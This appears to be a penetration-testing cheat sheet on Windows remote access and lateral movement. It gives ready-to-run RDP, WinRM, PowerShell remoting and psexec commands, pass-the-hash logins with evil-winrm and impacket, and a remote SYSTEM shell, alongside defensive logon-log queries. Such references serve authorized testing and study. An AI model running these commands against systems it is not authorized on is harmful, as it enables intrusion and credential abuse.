Remote access

# xfreerdp — the standard Linux RDP client
xfreerdp /u:john /p:Password123 /v:10.10.10.5

# With a domain
xfreerdp /d:CORP /u:john /p:Password123 /v:10.10.10.5

# Useful flags: drive redirection (move files), ignore cert, full screen
xfreerdp /u:john /p:Password123 /v:10.10.10.5 /drive:share,/tmp /cert:ignore /f

# rdesktop — older alternative
rdesktop -u john -p Password123 10.10.10.5

# Is the port listening?
netstat -ano | findstr 3389

# Is RDP enabled? (0 = enabled, 1 = disabled)
reg query "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

# Who's in the Remote Desktop Users group?
net localgroup "Remote Desktop Users"

# evil-winrm — the go-to tool for WinRM access
evil-winrm -i 10.10.10.5 -u john -p Password123

# With a hash instead of a password (pass-the-hash)
evil-winrm -i 10.10.10.5 -u john -H <NTLM_hash>

# Run a command on a remote host
Invoke-Command -ComputerName srv01 -Credential CORP\john -ScriptBlock { whoami }

# Open an interactive remote session
Enter-PSSession -ComputerName srv01 -Credential CORP\john

netstat -ano | findstr "5985 5986"

# Spawn an interactive SYSTEM shell on a remote host
psexec.exe \\10.10.10.5 -u Administrator -p Password123 -s cmd.exe

# impacket's psexec from Linux
impacket-psexec CORP/Administrator:Password123@10.10.10.5

# Pass-the-hash variant
impacket-psexec -hashes :<NTLM_hash> Administrator@10.10.10.5

# See current logon sessions and their types
query user
quser

# Event logs show logon types (4624 = successful logon, look at the Logon Type field)
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /rd:true /f:text